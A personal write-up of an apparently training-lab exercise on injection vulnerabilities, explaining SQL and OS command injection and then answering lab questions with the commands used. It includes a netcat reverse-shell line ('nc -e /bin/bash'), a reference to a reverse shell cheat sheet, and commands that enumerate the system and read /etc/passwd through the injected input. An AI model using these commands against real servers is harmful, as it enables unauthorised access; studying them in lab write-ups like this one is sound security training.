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Injection Vulnerabilities

Date: 26, December, 2020

Author: Dhilip Sanjay S

  • Injection flaws occur because user controlled input is interpreted as actual commands or parameters by the application.

SQL Injection

  • Access, Modify and Delte Information in a database.

OS Command Injection

  • Execute arbitrary system commands on a server that would allow an attacker to gain access to users' system.
  • Can be used to open up a reverse shell. 
    nc -e /bin/bash
  • Pentest Monkey Reverse Shell Cheatsheet
  • Types:
    • Blind Command Injection - when the system command made to the server does not return the response to the user in the HTML document.
    • Active Command Injection - return the response to the user. It can be made visible through several HTML elements.

Preventing Injection Attacks

  • Using an allow list (white list)
  • Stripping input (that contains dangerous characters)

Note: There are various libraries that perform these tasks.

Command Injection Practical

  • PHP passthru() function - executes what gets entered into the input, then passsing the output directly to the browser.

  • passthru() Documentation

  • Warning: When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

  • Ways to Detect Active Command Injection

    • Linux 
      whoami
id
ifconfig/ip addr
uname -a
ps -ef
    • Windows 
      whoami
ver
ipconfig
tasklist
netstat -an

Solutions

What strange text file is in the website root directory?

  • Answer: drpepper.txt

How many non-root/non-service/non-daemon users are there?

  • Answer: 0
  • Steps to Reproduce: 
    cat /etc/passwd | grep home/
  • The /etc/passwd file is a colon-separated file that contains the following information:
  1. Username: It is used when user logs in. It should be between 1 and 32 characters in length.
  2. Password: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to computes the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file.
  3. User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.
  4. Group ID (GID): The primary group ID (stored in /etc/group file)
  5. User ID Info: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.
  6. Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /
  7. Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell. For example, sysadmin can use the nologin shell, which acts as a replacement shell for the user accounts. If shell set to /sbin/nologin and the user tries to log in to the Linux system directly, the /sbin/nologin shell closes the connection.

What user is this app running as?

  • Answer: www-data
  • Steps to Reproduce: whoami

What is the user's shell set as?

  • Answer: /usr/sbin/nologin
  • Steps to Reproduce: 
    cat /etc/passwd | grep www-data

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

What version of Ubuntu is running?

  • Answer: 18.04.4
  • Steps to Reproduce: 
    grep 'VERSION' /etc/*release

/etc/os-release:VERSION="18.04.4 LTS (Bionic Beaver)" 
/etc/os-release:VERSION_ID="18.04" 
/etc/os-release:VERSION_CODENAME=bionic

Print out the MOTD. What favorite beverage is shown?

  • Answer: DR PEPPER

  • Steps to Reproduce:

    • This question took a lot of time for me to solve.
    • On googling what is motd in linux : /etc/motd is a file on Unix-like systems that contains a "message of the day".
    • So, I entered the command cat /etc/motd, but there was no output.
    • Next, I used locate command to find the location of motd : locate motd
    /etc/update-motd.d /etc/default/motd-news /etc/systemd/system/timers.target.wants/motd-news.timer /etc/update-motd.d/00-header /etc/update-motd.d/10-help-text /etc/update-motd.d/50-landscape-sysinfo /etc/update-motd.d/50-motd-news /etc/update-motd.d/80-esm /etc/update-motd.d/80-livepatch /etc/update-motd.d/90-updates-available /etc/update-motd.d/91-release-upgrade /etc/update-motd.d/92-unattended-upgrades /etc/update-motd.d/95-hwe-eol /etc/update-motd.d/97-overlayroot /etc/update-motd.d/98-fsck-at-reboot /etc/update-motd.d/98-reboot-required /lib/systemd/system/motd-news.service /lib/systemd/system/motd-news.timer /lib/systemd/system/motd.service /lib/x86_64-linux-gnu/security/pam_motd.so /usr/lib/ubuntu-release-upgrader/release-upgrade-motd /usr/lib/update-notifier/update-motd-fsck-at-reboot /usr/lib/update-notifier/update-motd-hwe-eol /usr/lib/update-notifier/update-motd-reboot-required /usr/lib/update-notifier/update-motd-updates-available /usr/share/base-files/motd /usr/share/doc/util-linux/examples/motd /usr/share/man/man5/motd.5.gz /usr/share/man/man5/update-motd.5.gz /usr/share/man/man8/pam_motd.8.gz /usr/share/unattended-upgrades/update-motd-unattended-upgrades /var/lib/systemd/deb-systemd-helper-enabled/motd-news.timer.dsh-also /var/lib/systemd/deb-systemd-helper-enabled/timers.target.wants/motd-news.timer
    • It seemed like update-motd.d was a directory, so I listed the files inside the directory : ls /etc/update-motd.d
    00-header 10-help-text 50-landscape-sysinfo 50-motd-news 80-esm 80-livepatch 90-updates-available 91-release-upgrade 92-unattended-upgrades 95-hwe-eol 97-overlayroot 98-fsck-at-reboot 98-reboot-required
    • The hint said 00-header, so I printed the contents of this file : cat /etc/update-motd.d/00-header
    #!/bin/sh # # 00-header - create the header of the MOTD # Copyright (C) 2009-2010 Canonical Ltd. # # Authors: Dustin Kirkland # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. [ -r /etc/lsb-release ] && . /etc/lsb-release if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then # Fall back to using the very slow lsb_release utility DISTRIB_DESCRIPTION=$(lsb_release -s -d) fi printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)" DR PEPPER MAKES THE WORLD TASTE BETTER!
    • The last line was DR PEPPER MAKES THE WORLD TASTE BETTER!.
    • As expected DR PEPPER was the answer.